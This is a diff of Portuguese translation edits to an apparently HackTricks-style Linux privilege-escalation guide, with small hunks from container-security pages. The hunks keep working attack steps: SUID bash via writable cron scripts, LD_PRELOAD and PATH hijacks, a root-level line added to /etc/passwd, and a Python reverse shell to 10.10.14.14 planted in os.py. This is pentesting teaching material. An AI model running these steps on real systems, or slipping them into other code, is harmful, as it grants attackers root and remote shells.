(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
@ -168,7 +168,7 @@ ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Sempre verifique se há possíveis [**electron/cef/chromium debuggers** em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
|
||||
Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
|
||||
Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém.
|
||||
|
||||
### Monitoramento de processos
|
||||
@ -178,7 +178,7 @@ Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/ps
|
||||
### Memória do processo
|
||||
|
||||
Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\
|
||||
Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
|
||||
Normalmente, você precisará de **privilegios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
|
||||
No entanto, lembre-se de que **como um usuário comum, você pode ler a memória dos processos que possui**.
|
||||
|
||||
> [!WARNING]
|
||||
@ -334,7 +334,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
|
||||
```
|
||||
### Cron usando um script com um curinga (Injeção de Curinga)
|
||||
### Cron usando um script com um caractere curinga (Injeção de Caractere Curioso)
|
||||
|
||||
Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo:
|
||||
```bash
|
||||
@ -342,8 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
|
||||
```
|
||||
**Se o caractere curinga for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).**
|
||||
|
||||
Leia a página a seguir para mais truques de exploração de caracteres curinga:
|
||||
|
||||
Leia a página a seguir para mais truques de exploração de curingas:
|
||||
|
||||
{{#ref}}
|
||||
wildcards-spare-tricks.md
|
||||
@ -351,7 +350,7 @@ wildcards-spare-tricks.md
|
||||
|
||||
### Sobrescrita de script cron e symlink
|
||||
|
||||
Se você **pode modificar um script cron** executado pelo root, você pode obter um shell muito facilmente:
|
||||
Se você **pode modificar um script cron** executado pelo root, pode obter um shell muito facilmente:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
@ -381,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### Arquivos _.service_ graváveis
|
||||
|
||||
Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\
|
||||
Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\
|
||||
Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`**
|
||||
|
||||
### Binários de serviço graváveis
|
||||
|
||||
Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem reexecutados, os backdoors serão executados.
|
||||
Tenha em mente que se você tiver **permissões de gravação sobre binários sendo executados por serviços**, você pode alterá-los para backdoors, de modo que, quando os serviços forem reexecutados, os backdoors serão executados.
|
||||
|
||||
### PATH do systemd - Caminhos Relativos
|
||||
|
||||
@ -404,11 +403,11 @@ Então, crie um **executável** com o **mesmo nome que o caminho relativo do bin
|
||||
|
||||
**Saiba mais sobre serviços com `man systemd.service`.**
|
||||
|
||||
## **Timers**
|
||||
## **Temporizadores**
|
||||
|
||||
**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona.
|
||||
**Temporizadores** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona.
|
||||
|
||||
Você pode enumerar todos os timers com:
|
||||
Você pode enumerar todos os temporizadores com:
|
||||
```bash
|
||||
systemctl list-timers --all
|
||||
```
|
||||
@ -420,7 +419,7 @@ Unit=backdoor.service
|
||||
```
|
||||
Na documentação, você pode ler o que é a Unidade:
|
||||
|
||||
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador sejam nomeados de forma idêntica, exceto pelo sufixo.
|
||||
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador tenham nomes idênticos, exceto pelo sufixo.
|
||||
|
||||
Portanto, para abusar dessa permissão, você precisaria:
|
||||
|
||||
@ -447,7 +446,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
|
||||
**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.)
|
||||
- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
|
||||
- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`.
|
||||
- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo.
|
||||
- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente.
|
||||
- `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção.
|
||||
@ -483,7 +482,7 @@ socket-command-injection.md
|
||||
|
||||
### Sockets HTTP
|
||||
|
||||
Observe que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com:
|
||||
Note que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
@ -540,7 +539,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no
|
||||
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Verifique **mais maneiras de sair do docker ou abusar dele para escalar privilégios** em:
|
||||
Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -564,7 +563,7 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus é um sofisticado **sistema de Comunicação Inter-Processos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos.
|
||||
D-Bus é um sofisticado **sistema de Comunicação Interprocessos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos.
|
||||
|
||||
O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos.
|
||||
|
||||
@ -681,7 +680,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
|
||||
else echo "Not found xsel and xclip"
|
||||
fi
|
||||
```
|
||||
### Política de Senhas
|
||||
### Política de Senha
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
@ -691,14 +690,14 @@ Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuári
|
||||
|
||||
### Su Brute
|
||||
|
||||
Se você não se importa em fazer muito barulho e os binários `su` e `timeout` estão presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta forçar a entrada de usuários.
|
||||
|
||||
## Abusos de PATH gravável
|
||||
|
||||
### $PATH
|
||||
|
||||
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
|
||||
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
|
||||
|
||||
### SUDO e SUID
|
||||
|
||||
@ -773,7 +772,7 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co
|
||||
|
||||
### Binário SUID com caminho de comando
|
||||
|
||||
Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
|
||||
Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la:
|
||||
```bash
|
||||
@ -818,7 +817,7 @@ Finalmente, **escalar privilégios** executando
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
|
||||
> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -1082,12 +1081,12 @@ setfacl -b file.txt #Remove the ACL of the file
|
||||
```bash
|
||||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Open shell sessions
|
||||
## Abrir sessões de shell
|
||||
|
||||
Em **versões antigas** você pode **sequestar** algumas **sessões de shell** de um usuário diferente (**root**).\
|
||||
Em **versões mais recentes** você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
|
||||
Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\
|
||||
Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
|
||||
|
||||
### screen sessions hijacking
|
||||
### sequestro de sessões de tela
|
||||
|
||||
**Listar sessões de tela**
|
||||
```bash
|
||||
@ -1150,7 +1149,7 @@ Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores pos
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo:
|
||||
Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
@ -1165,7 +1164,7 @@ Você precisa definir essa opção em `$HOME/.ssh.config` assim:
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
Note que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
|
||||
Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
|
||||
|
||||
O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\
|
||||
O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir).
|
||||
@ -1180,7 +1179,7 @@ ssh-forward-agent-exploitation.md
|
||||
|
||||
### Arquivos de Perfis
|
||||
|
||||
O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, você pode escalar privilégios**.
|
||||
O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, poderá escalar privilégios**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
@ -1211,7 +1210,7 @@ Então adicione o usuário `hacker` e adicione a senha gerada.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Agora você pode usar o comando `su` com `hacker:hacker`
|
||||
|
||||
@ -1223,7 +1222,7 @@ su - dummy
|
||||
```
|
||||
NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`.
|
||||
|
||||
Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
|
||||
Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
@ -1267,7 +1266,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
### \*\_histórico, .sudo_as_admin_successful, perfil, bashrc, httpd.conf, .plano, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
|
||||
### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml arquivos
|
||||
```bash
|
||||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||||
```
|
||||
@ -1304,7 +1303,7 @@ Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?)
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil.
|
||||
Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil.
|
||||
|
||||
### Arquivos de shell
|
||||
```bash
|
||||
@ -1332,7 +1331,7 @@ Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a s
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Exploração do Logrotate
|
||||
### Exploração do logrotate
|
||||
|
||||
Uma vulnerabilidade no `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente ganhem privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar as permissões não apenas em _/var/log_, mas também em qualquer diretório onde a rotação de logs é aplicada.
|
||||
|
||||
@ -1349,9 +1348,9 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
|
||||
|
||||
**Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<qualquer>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<whatever>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
|
||||
Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
|
||||
Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
|
||||
|
||||
No meu caso, o `NAME=` atribuído nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**.
|
||||
|
||||
@ -1363,9 +1362,9 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd e rc.d**
|
||||
|
||||
O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` serviços. Esses podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`.
|
||||
O diretório `/etc/init.d` é o lar de **scripts** para o System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `iniciar`, `parar`, `reiniciar` e, às vezes, `recarregar` serviços. Esses scripts podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`.
|
||||
|
||||
Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, usando arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart.
|
||||
Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que utiliza arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts do SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart.
|
||||
|
||||
**systemd** surge como um gerenciador de inicialização e serviços moderno, oferecendo recursos avançados, como inicialização de daemon sob demanda, gerenciamento de automontagem e instantâneas do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações de administradores, simplificando o processo de administração do sistema.
|
||||
|
||||
@ -1373,11 +1372,13 @@ Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de
|
||||
|
||||
### Escalada de privilégios NFS
|
||||
|
||||
|
||||
{{#ref}}
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escapando de Shells restritas
|
||||
### Escapando de Shells restritos
|
||||
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
@ -1385,6 +1386,7 @@ escaping-from-limited-bash.md
|
||||
|
||||
### Cisco - vmanage
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
@ -1402,12 +1404,12 @@ cisco-vmanage.md
|
||||
|
||||
### **Melhor ferramenta para procurar vetores de escalada de privilégios locais no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(opção -t)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** Enumere vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Kernelpop:** Enumera vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
@ -1433,10 +1435,12 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
|
||||
## Frameworks de rooting Android: abuso de canal de gerenciador
|
||||
|
||||
Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Aprenda mais e detalhes de exploração aqui:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
@ -35,7 +35,7 @@ Você pode executar um contêiner privilegiado como:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
Então você pode usar algumas das técnicas mencionadas na página a seguir para **escapar disso abusando de capacidades privilegiadas**:
|
||||
Então você pode usar algumas das técnicas mencionadas na página a seguir para **escapar dela abusando de capacidades privilegiadas**:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
|
||||
@ -34,7 +34,7 @@ As imagens de contêiner podem ser armazenadas em repositórios privados ou púb
|
||||
|
||||
### Análise de Imagens
|
||||
|
||||
Os contêineres podem ter **vulnerabilidades de segurança** tanto por causa da imagem base quanto por causa do software instalado sobre a imagem base. O Docker está trabalhando em um projeto chamado **Nautilus** que faz a análise de segurança dos Contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do Contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
|
||||
Os contêineres podem ter **vulnerabilidades de segurança** tanto por causa da imagem base quanto pelo software instalado sobre a imagem base. O Docker está trabalhando em um projeto chamado **Nautilus** que faz a análise de segurança dos Contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do Contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
|
||||
|
||||
Para mais [**informações leia isso**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
@ -96,14 +96,14 @@ Em ambientes containerizados, isolar projetos e seus processos é fundamental pa
|
||||
|
||||
**Namespaces**
|
||||
|
||||
- **Propósito**: Garantir o isolamento de recursos como processos, rede e sistemas de arquivos. Particularmente no Docker, namespaces mantêm os processos de um contêiner separados do host e de outros contêineres.
|
||||
- **Propósito**: Garantir o isolamento de recursos como processos, rede e sistemas de arquivos. Particularmente no Docker, os namespaces mantêm os processos de um contêiner separados do host e de outros contêineres.
|
||||
- **Uso do `unshare`**: O comando `unshare` (ou a syscall subjacente) é utilizado para criar novos namespaces, proporcionando uma camada adicional de isolamento. No entanto, enquanto o Kubernetes não bloqueia isso inherentemente, o Docker o faz.
|
||||
- **Limitação**: Criar novos namespaces não permite que um processo retorne aos namespaces padrão do host. Para penetrar nos namespaces do host, normalmente seria necessário acesso ao diretório `/proc` do host, usando `nsenter` para entrada.
|
||||
|
||||
**Grupos de Controle (CGroups)**
|
||||
|
||||
- **Função**: Usado principalmente para alocar recursos entre processos.
|
||||
- **Aspecto de Segurança**: CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, pode ser potencialmente explorado para acesso não autorizado.
|
||||
